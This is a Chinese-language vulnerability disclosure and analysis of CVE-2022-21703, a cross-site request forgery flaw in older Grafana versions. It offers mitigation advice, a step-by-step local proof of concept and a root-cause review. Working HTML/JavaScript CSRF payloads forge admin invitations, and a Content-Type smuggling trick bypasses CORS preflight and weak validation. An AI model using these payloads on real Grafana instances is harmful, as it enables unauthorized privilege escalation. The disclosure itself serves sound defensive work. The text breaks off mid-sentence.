CVE-2022-21703:Grafana跨站请求伪造漏洞深度解析

本文详细分析了CVE-2022-21703漏洞,该漏洞影响Grafana v7.5.15之前及v8.3.5之前的版本,允许攻击者通过同站攻击实现权限提升。文章包含漏洞原理、PoC演示、根因分析和修复建议。

CVE-2022-21703:Grafana跨站请求伪造漏洞

本文是关于CVE-2022-21703的详细分析报告,该漏洞是bug赏金猎人abrahack与我合作发现的成果。如果您正在使用或计划使用Grafana,至少应阅读以下部分。

CVE-2022-21703概述

关于Grafana

Grafana是一款流行的开源工具,其自述如下:

Grafana允许您查询、可视化、告警和理解您的指标,无论它们存储在哪里。与您的团队创建、探索和共享精美的仪表板,培养数据驱动文化。

Grafana Labs提供托管的Grafana实例,但您也可以将Grafana部署为自托管实例。其流行的一个指标是,诸如Gitlab和SourceGraph等广泛使用的工具的最新版本都附带了Grafana。

核心发现

Grafana(v7.5.15之前以及v8.3.5之前的v8.x.x版本)易受跨站请求伪造攻击。Grafana的HTTP API的所有基于GET和POST的端点都受到影响。通过利用某些同站漏洞,匿名攻击者可以,例如,诱骗经过身份验证的高权限Grafana用户提升攻击者在目标Grafana实例上的权限。配置为允许经过身份验证的仪表板框架嵌入的Grafana实例面临更高的跨站攻击风险。

缓解措施

无论您的情况和缓解方法如何,您随后都应审核您的Grafana实例是否存在可疑活动。意识到跨站攻击可能性的攻击者可能已经对您的Grafana实例进行了此类攻击。

更新Grafana

如果可能,请将您的Grafana实例更新到v7.5.15或v8.3.5。在撰写本文时,我尚未有机会审查Grafana的修复程序,但它应保护您免受CVE-2022-21703的影响,无论您的配置如何。

如果您无法更新

如果您无法立即更新Grafana,实现针对CVE-2022-21703的有效保护更加困难。考虑在反向代理级别阻止所有针对您的Grafana实例的跨站请求;不过,我意识到这并非在所有情况下都可行。

如果,也许为了启用Grafana仪表板的框架嵌入,您偏离了Grafana的默认配置并设置了:

  • cookie_samesite属性为none
  • cookie_secure属性为true

那么您面临的风险增加,因为攻击可以从任何来源进行(不仅限于同站来源)。在这种情况下,请采取以下措施:

  • 考虑将您的Grafana实例隐藏在VPN后面。如果攻击者已经知道您的Grafana实例的位置,这不会阻止跨站攻击者,但绝望的时刻需要绝望的措施,如通过隐蔽性实现安全。
  • 警告您的员工在未来几天内可能发生的网络钓鱼攻击。
  • 持续监控您的Grafana实例中的敏感活动(添加高权限用户等)。

如果您将cookie_samesite属性设置为disabled,请警告您的Grafana用户避免使用尚未默认将SameSite cookie属性设置为Lax的浏览器(最明显的是Safari);优先使用基于Chromium的浏览器或Firefox。

如果cookie_samesite属性设置为lax(默认)或strict,您应仔细检查您的子域的安全性。排除在所有与您的Grafana实例所在的Web来源同站的Web来源上存在跨站脚本(XSS)或子域接管的可能性。

更多细节

我们研究的起源

受最近在Grafana中发现的漏洞的启发,特别是Justin Gardner的完全读取SSRF(CVE-2021-13379)和Jordy Versmissen的路径遍历(CVE-2021-43798),我们决定在这个流行的可视化工具中寻找迄今为止被忽视的安全漏洞。

我们应该首先在哪里寻找?几位有影响力的信息安全人物(最著名的是Troy Hunt)很快宣布跨站请求伪造(CSRF)已死,因为Chromium和Firefox都开始默认将SameSite cookie属性的值设置为Lax。然而,根据我的经验,这个声明充其量只是一个近似值;最坏的情况下,是一个欺骗性和有害的夸张。

特别是,术语“site”最近经历的含义变化使关于跨站攻击的讨论复杂化。早在“跨站请求伪造”这个术语被创造出来的时候,“site”并没有现在享有的更精确的含义。CSRF是一个总称,指所有从不同Web来源发出的状态更改请求伪造攻击。许多从业者仍然以这种方式使用CSRF,经常忽略提到SameSite cookie属性仅作为深度防御机制,并且它对跨站同站攻击无能为力。我在之前的一篇博客文章中详细讨论了这个话题。

另一个经常混淆的来源是跨站资源共享(CORS),这是一个用于选择性放宽同源策略某些限制的协议。许多开发人员 notoriously 对CORS没有牢固的掌握,关于该协议的错误假设为更精明的攻击者提供了跨站滥用的素材。这些关于SameSite和CORS的考虑自然导致我们仔细检查Grafana对跨站攻击的防御。

概念验证

以下概念验证演示了,通过对使用默认配置的Grafana实例发起同站攻击,攻击者可以诱骗Grafana管理员邀请攻击者作为组织管理员。

  1. 在Docker中运行Grafana Enterprise(<= v8.3.4)的本地实例;在这种情况下,我将其绑定到端口3000:

    1
    
    docker run -d -p 3000:3000 grafana/grafana-enterprise:8.3.2
    
  2. 作为受害者,访问http://localhost:3000/login并以Grafana管理员(admin)身份使用默认密码(admin)进行身份验证。Grafana将提示您重置密码;您可以安全地跳过此步骤。您现在应该以Grafana管理员身份登录。

  3. 访问http://localhost:3000/org/users;在此阶段,该页面上应没有待处理的用户邀请。

  4. 将以下恶意代码片段保存到名为index.html的文件中:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    
    <!doctype html>
    <html>
      <head>
        <meta charset="utf-8">
      </head>
      <body>
        <script>
          function csrf(name, email) {
            const url = "http://localhost:3000/api/org/invites";
            const data = {
              "name": name,
              "loginOrEmail": email,
              "role": "Admin",
              "sendEmail": false
            };
            const opts = {
              method: "POST",
              mode: "no-cors",
              credentials: "include",
              headers: {"Content-Type": "text/plain; json"},
              body: JSON.stringify(data)
            };
            fetch(url, opts);
          }
          csrf("attacker", "attacker@example.com");
        </script>
      </body>
    </html>
    
  5. 作为受害者,在同一浏览器中打开文件index.html。观察到该页面向http://localhost:3000/api/org/invites发出请求,该请求不携带grafana_session cookie,因为发出来源(null)与目标来源(http://localhost:3000)不是同站。因此,服务器响应401 Unauthorized,攻击失败。

  6. 现在在localhost上的不同端口(此处为8081)绑定HTTP服务器以提供相同的恶意页面。如果您的机器上安装了Go,您可以将以下代码片段保存到名为main.go的文件中(与index.html在同一文件夹中):

    1
    2
    3
    4
    5
    6
    7
    8
    
    package main
    
    import "net/http"
    
    func main() {
      http.Handle("/", http.FileServer(http.Dir(".")))
      http.ListenAndServe(":8081", nil)
    }
    

    然后通过运行go run main.go启动该服务器。

  7. 作为受害者,访问http://localhost:8081。观察到,这次(与此PoC的第5步相反),伪造的请求到http://localhost:3000/api/org/invites确实携带了grafana_session cookie,因为发出来源(http://localhost:8081)与目标来源(http://localhost:3000)是同站。服务器响应200 OK,表明攻击成功。

  8. 通过重新访问http://localhost:3000/org/users确认攻击的成功;现在应该有一个为攻击者待处理的新用户邀请。

不相信?

这个本地概念验证可能不足以让您相信攻击在更现实场景中的可行性。在这种情况下,请遵循相同的步骤,但是:

  • 将Grafana部署到您控制的安全来源(例如https://grafana.example.com),并且
  • 将恶意页面部署到某个同站来源(例如https://attack.example.com)。

根因分析

针对Grafana的跨站请求伪造的可能性主要源于对SameSite cookie属性的过度依赖、弱内容类型验证以及对CORS的错误假设。

SameSite及其局限性

任何针对Grafana API的伪造请求都需要进行身份验证才能有用。对攻击者来说不幸的是,Grafana自v6.0以来一直明确将其grafana_session cookie标记为SameSite=Lax(默认)。因此,攻击者伪造的请求只有在满足以下两个条件之一时才会携带grafana_session cookie:

  • 是顶级导航,或
  • 是同站请求。

第一个条件将攻击者限制在GET请求。Grafana的HTTP API确实具有一些基于GET的状态更改端点(例如/logout),但它们的影响通常太低,对攻击者不感兴趣。您可能认为第二个条件是一个高要求。如果您这样认为,您会对大量组织——甚至那些有活跃bug赏金计划的组织——对某些XSS漏洞或潜在子域接管在某个晦涩(可能超出范围)的子域上感到满意感到惊讶。我们在研究期间确定了多个这样的bug赏金目标,我们当然不能声称详尽无遗……

此外,一些Grafana管理员可能选择放宽Grafana的默认SameSite值,并通过设置以下配置来配置他们的实例以允许经过身份验证的仪表板的框架嵌入:

  • allow_embedding属性为true
  • cookie_samesite属性为none
  • cookie_secure属性为true

这样的Grafana实例易受老式CSRF攻击。攻击者的恶意页面确实可以托管在任何来源,因为所有对Grafana API的请求都将携带宝贵的身份验证cookie,无论请求的发出来源如何。

最后,一些Grafana管理员可能选择将cookie_samesite属性设置为disabled,以便在设置身份验证cookie时省略SameSite属性。在此类Grafana实例上进行身份验证的Safari用户也面临CSRF风险,因为Safari仍然默认将SameSite属性设置为None。

有趣的是,Grafana开发人员似乎意识到SameSite alone 对跨站攻击提供的保护不足。在v6.0发布之后,他们实际上打开了一个拉取请求,试图添加反CSRF令牌,但后来又改变了方向,最终放弃了该PR,反对后来评论中有充分根据的反对意见。

绕过内容类型验证和避免CORS预检

我们最初针对Grafana的跨站请求伪造尝试涉及一个自动提交的HTML表单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <form action="http://localhost:3000/api/org/invites" method="POST">
      <input name="name" value="attacker">
      <input name="loginOrEmail" value="attacker@example.com">
      <input name="role" value="Admin">
      <input name="sendEmail" value="false">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

此表单提交导致422 Unprocessable Entity,并带有以下JSON正文:

1
2
3
4
5
[{
  "fieldNames": ["LoginOrEmail"],
  "classification": "RequiredError",
  "message":"Required"
}]

这个错误消息让我们有些困惑,因为loginOrEmail字段出现在我们伪造请求的正文中。用multipart/form-data覆盖表单的默认enctype产生了相同的响应。然而,text/plainenctype产生了415 Unsupported Media Type。有趣……这是Grafana API只接受JSON请求的迹象吗?

我们黑盒测试的下一步涉及使用Fetch API发出具有有效JSON正文的简单请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>

相应的响应,就像基于表单的text/plain攻击一样,是415 Unsupported Media Type。显然,Grafana API正在执行某些请求内容类型的验证。

为了确认我们的直觉,我们将以下代码——注意第13行——粘贴到我们已验证到Grafana的浏览器窗口的Console选项卡中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function csrf(name, email) {
  const url = "http://localhost:3000/api/org/invites";
  const data = {
    "name": name,
    "loginOrEmail": email,
    "role": "Admin",
    "sendEmail": false
  };
  const opts = {
    method: "POST",
    mode: "no-cors",
    credentials: "include",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify(data)
  };
  fetch(url, opts);
}
csrf("attacker", "attacker@example.com");

响应是200 OK,我们的心沉了下去……这个响应证实了我们的怀疑,即API期望内容类型为application/json,或至少类似的东西。因为我们在Grafana实例的Web来源的上下文中执行攻击,攻击是成功的,但我们知道如果相同的攻击从不同的(即使是同站)来源执行,事情不会那么简单。为什么?因为根据Fetch标准,跨站请求的内容类型值为application/json确实会导致浏览器触发CORS预检;而Grafana,令其一些用户懊恼的是,未配置或不可配置CORS。因此,CORS预检将失败,浏览器永远不会发送实际的(恶意)请求。

我们似乎碰壁了……但还有最后一线希望!您可能读过,在请求中包含值不是以下之一的内容类型标头将触发CORS预检:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

事实上,直到最近,像MDN Web Docs这样的权威来源还如此陈述。多年来,这个声明在网络上被逐字重复,包括在Stack Overflow上一些高度赞成的答案中。然而,这个声明是不正确的;Fetch标准只要求指定为请求内容类型的MIME类型的本质是这三个值之一。一个鲜为人知的事实是,您实际上可以在MIME类型的参数中走私额外的东西而不会触发CORS预检。如果服务器的内容类型验证碰巧很弱,攻击者可以使用此走私技巧来绕过它。

我们抱着希望修改了我们的同站攻击并实现了这个技巧(见第20行):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          headers: {"Content-Type": "text/plain; application/json"},
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>

我们得到了200 OK响应,并且/org/users页面列出了以攻击者名义的新邀请!成功!

在向Grafana报告我们的发现之前,我们决定更深入地挖掘并检查Grafana的代码库以了解究竟发生了什么。Grafana,直到v8.3.2,依赖go-macaron/binding来处理请求。以下是相关函数,名为bind

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func bind(ctx *macaron.Context, obj interface{}, ifacePtr ...interface{}) {
  contentType := ctx.Req.Header.Get("Content-Type")
  if ctx.Req.Method == "POST" || ctx.Req.Method == "PUT" || len(contentType) > 0 {
    switch {
    case strings.Contains(contentType, "form-urlencoded"):
      ctx.Invoke(Form(obj, ifacePtr...))
    case strings.Contains(contentType, "multipart/form-data"):
      ctx.Invoke(MultipartForm(obj, ifacePtr...))
    case strings.Contains(contentType, "json"):
      ctx.Invoke(Json(obj, ifacePtr...))
    default:
      var errors Errors
      if contentType == "" {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Empty Content-Type")
      } else {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Unsupported Content-Type")
      }
      ctx.Map(errors)
      ctx.Map(obj) // Map a fake struct so handler won't panic.
    }
  } else {
    ctx.Invoke(Form(obj, ifacePtr...))
  }
}

观察(在第9-10行)内容类型仅包含字符串json的请求被接受,并且请求正文的JSON反序列化正常进行。Go开发人员,如果您需要验证Content-Type标头,请优先使用更专业的mime.ParseMediaType函数,而不是strings.Contains和朋友!

注意:Grafana v8.3.3实际上从其代码库中完全删除了go-macaron/binding,并且不

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计